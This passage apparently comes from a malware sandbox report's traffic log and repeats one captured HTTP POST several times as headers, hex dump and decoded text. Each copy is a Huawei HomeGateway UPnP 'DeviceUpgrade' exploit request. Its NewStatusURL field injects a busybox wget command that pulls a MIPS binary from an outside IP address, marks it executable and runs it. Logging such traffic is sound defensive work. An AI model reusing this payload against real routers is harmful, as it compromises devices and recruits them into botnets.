6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
